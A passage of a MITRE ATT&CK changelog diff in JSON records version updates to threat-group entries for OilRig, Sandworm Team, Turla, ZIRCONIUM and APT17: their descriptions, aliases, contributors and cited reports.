"Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ozer Sarilar, @ozersarilar, STM", + "Daniyal Naeem, BT Security", + "Marco Pedrinazzi, @pedrinazziM" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "5.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-29 14:59:08.071000+00:00\", \"old_value\": \"2024-04-17 16:48:06.958000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"5.1\", \"old_value\": \"5.0\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][2]\": \"Marco Pedrinazzi, @pedrinazziM\"}}", + "previous_version": "5.0", + "version_change": "5.0 \u2192 5.1" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14 16:46:06.044000+00:00", + "modified": "2024-09-04 20:33:04.739000+00:00", + "name": "OilRig", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. The group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit42 OilRig Playbook 2023)(Citation: Unit 42 QUADAGENT July 2018)", + "aliases": [ + "OilRig", + "COBALT GYPSY", + "IRN2", + "APT34", + "Helix Kitten", + "Evasive Serpens", + "Hazel Sandstorm", + "EUROPIUM", + "ITG13" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0049", + "external_id": "G0049" + }, + { + "source_name": "IRN2", + "description": "(Citation: Crowdstrike Helix Kitten Nov 2018)" + }, + { + "source_name": "ITG13", + "description": "(Citation: IBM ZeroCleare Wiper December 2019)" + }, + { + "source_name": "Hazel Sandstorm", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "EUROPIUM", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "OilRig", + "description": "(Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018)" + }, + { + "source_name": "COBALT GYPSY", + "description": "(Citation: Secureworks COBALT GYPSY Threat Profile)" + }, + { + "source_name": "Helix Kitten", + "description": "(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)" + }, + { + "source_name": "Evasive Serpens", + "description": "(Citation: Unit42 OilRig Playbook 2023)" + }, + { + "source_name": "Check Point APT34 April 2021", + "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.", + "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/" + }, + { + "source_name": "ClearSky OilRig Jan 2017", + "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.", + "url": "http://www.clearskysec.com/oilrig/" + }, + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "Palo Alto OilRig April 2017", + "description": "Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/" + }, + { + "source_name": "Palo Alto OilRig Oct 2016", + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + }, + { + "source_name": "IBM ZeroCleare Wiper December 2019", + "description": "Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.", + "url": "https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "source_name": "Crowdstrike Helix Kitten Nov 2018", + "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "Secureworks COBALT GYPSY Threat Profile", + "description": "Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.", + "url": "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy" + }, + { + "source_name": "APT34", + "description": "This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.(Citation: Unit 42 QUADAGENT July 2018)(Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021)" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "Unit42 OilRig Playbook 2023", + "description": "Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.", + "url": "https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Robert Falcone", + "Bryan Lee", + "Dragos Threat Intelligence" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "4.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-04 20:33:04.739000+00:00\", \"old_value\": \"2024-04-11 16:06:34.698000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"4.1\", \"old_value\": \"4.0\"}}, \"iterable_item_added\": {\"root['aliases'][8]\": \"ITG13\", \"root['external_references'][2]\": {\"source_name\": \"ITG13\", \"description\": \"(Citation: IBM ZeroCleare Wiper December 2019)\"}, \"root['external_references'][14]\": {\"source_name\": \"IBM ZeroCleare Wiper December 2019\", \"description\": \"Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.\", \"url\": \"https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/\"}}}", + "previous_version": "4.0", + "version_change": "4.0 \u2192 4.1" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:04.588000+00:00", + "modified": "2024-09-12 17:37:44.040000+00:00", + "name": "Sandworm Team", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)\n\nIn October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)", + "aliases": [ + "Sandworm Team", + "ELECTRUM", + "Telebots", + "IRON VIKING", + "BlackEnergy (Group)", + "Quedagh", + "Voodoo Bear", + "IRIDIUM", + "Seashell Blizzard", + "FROZENBARENTS", + "APT44" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0034", + "external_id": "G0034" + }, + { + "source_name": "Voodoo Bear", + "description": "(Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "ELECTRUM", + "description": "(Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "Sandworm Team", + "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "Quedagh", + "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "FROZENBARENTS", + "description": "(Citation: Leonard TAG 2023)" + }, + { + "source_name": "APT44", + "description": "(Citation: mandiant_apt44_unearthing_sandworm)" + }, + { + "source_name": "IRIDIUM", + "description": "(Citation: Microsoft Prestige ransomware October 2022)" + }, + { + "source_name": "Seashell Blizzard", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "BlackEnergy (Group)", + "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "Telebots", + "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "IRON VIKING", + "description": "(Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "Leonard TAG 2023", + "description": "Billy Leonard. (2023, April 19). Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.", + "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/" + }, + { + "source_name": "US District Court Indictment GRU Oct 2018", + "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.", + "url": "https://www.justice.gov/opa/page/file/1098481/download" + }, + { + "source_name": "Dragos ELECTRUM", + "description": "Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.", + "url": "https://www.dragos.com/resource/electrum/" + }, + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf" + }, + { + "source_name": "iSIGHT Sandworm 2014", + "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html" + }, + { + "source_name": "CrowdStrike VOODOO BEAR", + "description": "Meyers, A. (2018, January 19). Meet CrowdStrike\u2019s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Microsoft Prestige ransomware October 2022", + "description": "MSTIC. (2022, October 14). New \u201cPrestige\u201d ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/" + }, + { + "source_name": "InfoSecurity Sandworm Oct 2014", + "description": "Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian \u2018Sandworm\u2019 Hackers. Retrieved October 6, 2017.", + "url": "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/" + }, + { + "source_name": "NCSC Sandworm Feb 2020", + "description": "NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020.", + "url": "https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory" + }, + { + "source_name": "USDOJ Sandworm Feb 2020", + "description": "Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved September 12, 2024.", + "url": "https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html" + }, + { + "source_name": "mandiant_apt44_unearthing_sandworm", + "description": "Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.", + "url": "https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf" + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download" + }, + { + "source_name": "Secureworks IRON VIKING ", + "description": "Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.", + "url": "https://www.secureworks.com/research/threat-profiles/iron-viking" + }, + { + "source_name": "UK NCSC Olympic Attacks October 2020", + "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020.", + "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dragos Threat Intelligence", + "Hakan KARABACAK" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "4.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 17:37:44.040000+00:00\", \"old_value\": \"2024-04-06 19:05:38.712000+00:00\"}, \"root['external_references'][21]['description']\": {\"new_value\": \"Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved September 12, 2024.\", \"old_value\": \"Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020.\", \"new_path\": \"root['external_references'][22]['description']\"}, \"root['external_references'][21]['url']\": {\"new_value\": \"https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html\", \"old_value\": \"https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html\", \"new_path\": \"root['external_references'][22]['url']\"}, \"root['x_mitre_version']\": {\"new_value\": \"4.1\", \"old_value\": \"4.0\"}}, \"iterable_item_added\": {\"root['aliases'][10]\": \"APT44\", \"root['external_references'][6]\": {\"source_name\": \"APT44\", \"description\": \"(Citation: mandiant_apt44_unearthing_sandworm)\"}, \"root['external_references'][23]\": {\"source_name\": \"mandiant_apt44_unearthing_sandworm\", \"description\": \"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.\", \"url\": \"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf\"}, \"root['x_mitre_contributors'][1]\": \"Hakan KARABACAK\"}}", + "previous_version": "4.0", + "version_change": "4.0 \u2192 4.1" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:49.816000+00:00", + "modified": "2024-06-26 18:09:33.862000+00:00", + "name": "Turla", + "description": "[Turla](https://attack.mitre.org/groups/G0010) is a cyber espionage threat group that has been attributed to Russia's Federal Security Service (FSB). They have compromised victims in over 50 countries since at least 2004, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns, and leveraging in-house tools and malware, such as [Uroburos](https://attack.mitre.org/software/S0022).(Citation: Kaspersky Turla)(Citation: ESET Gazer Aug 2017)(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla Mosquito Jan 2018)(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)", + "aliases": [ + "Turla", + "IRON HUNTER", + "Group 88", + "Waterbug", + "WhiteBear", + "Snake", + "Krypton", + "Venomous Bear", + "Secret Blizzard", + "BELUGASTURGEON" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0010", + "external_id": "G0010" + }, + { + "source_name": "BELUGASTURGEON", + "description": "(Citation: Accenture HyperStack October 2020)" + }, + { + "source_name": "Krypton", + "description": "(Citation: CrowdStrike VENOMOUS BEAR)" + }, + { + "source_name": "Snake", + "description": "(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019)(Citation: Talos TinyTurla September 2021)" + }, + { + "source_name": "Venomous Bear", + "description": "(Citation: CrowdStrike VENOMOUS BEAR)(Citation: Talos TinyTurla September 2021)" + }, + { + "source_name": "Turla", + "description": "(Citation: Kaspersky Turla)" + }, + { + "source_name": "Group 88", + "description": "(Citation: Leonardo Turla Penquin May 2020)" + }, + { + "source_name": "Secret Blizzard", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "IRON HUNTER", + "description": "(Citation: Secureworks IRON HUNTER Profile)" + }, + { + "source_name": "Accenture HyperStack October 2020", + "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020.", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity" + }, + { + "source_name": "Waterbug", + "description": "Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug)" + }, + { + "source_name": "Talos TinyTurla September 2021", + "description": "Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021.", + "url": "https://blog.talosintelligence.com/2021/09/tinyturla.html" + }, + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + }, + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + }, + { + "source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", + "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.", + "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf" + }, + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + }, + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "Leonardo Turla Penquin May 2020", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", + "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf" + }, + { + "source_name": "CrowdStrike VENOMOUS BEAR", + "description": "Meyers, A. (2018, March 12). Meet CrowdStrike\u2019s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Secureworks IRON HUNTER Profile", + "description": "Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022.", + "url": "http://www.secureworks.com/research/threat-profiles/iron-hunter" + }, + { + "source_name": "Symantec Waterbug", + "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.", + "url": "https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1" + }, + { + "source_name": "WhiteBear", + "description": "WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017)(Citation: Talos TinyTurla September 2021)" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matthieu Faou, ESET", + "Edward Millington" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "5.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-06-26 18:09:33.862000+00:00\", \"old_value\": \"2024-04-17 22:12:21.483000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"5.1\", \"old_value\": \"5.0\"}}}", + "previous_version": "5.0", + "version_change": "5.0 \u2192 5.1" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-24 15:48:17.731000+00:00", + "modified": "2024-10-10 14:32:51.085000+00:00", + "name": "ZIRCONIUM", + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.(Citation: Microsoft Targeting Elections September 2020)(Citation: Check Point APT31 February 2021)", + "aliases": [ + "ZIRCONIUM", + "APT31", + "Violet Typhoon" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0128", + "external_id": "G0128" + }, + { + "source_name": "APT31", + "description": "(Citation: Check Point APT31 February 2021)" + }, + { + "source_name": "Violet Typhoon", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "Microsoft Targeting Elections September 2020", + "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021.", + "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/" + }, + { + "source_name": "Check Point APT31 February 2021", + "description": "Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian \u2013 How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021.", + "url": "https://research.checkpoint.com/2021/the-story-of-jian/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-10 14:32:51.085000+00:00\", \"old_value\": \"2024-01-08 22:16:18.643000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1" + } + ], + "other_version_changes": [], + "patches": [ + { + "type": "intrusion-set", + "id": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:57.307000+00:00", + "modified": "2024-09-04 17:04:35.669000+00:00", + "name": "APT17", + "description": "[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)", + "aliases": [ + "APT17", + "Deputy Dog" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0025", + "external_id": "G0025" + }, + { + "source_name": "APT17", + "description": "(Citation: FireEye APT17)" + }, + { + "source_name": "Deputy Dog", + "description": "(Citation: FireEye APT17)" + }, + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-04 17:04:35.669000+00:00\", \"old_value\": \"2020-10-13 22:33:14.018000+00:00\"}, \"root['external_references'][3]['url']\": {\"new_value\": 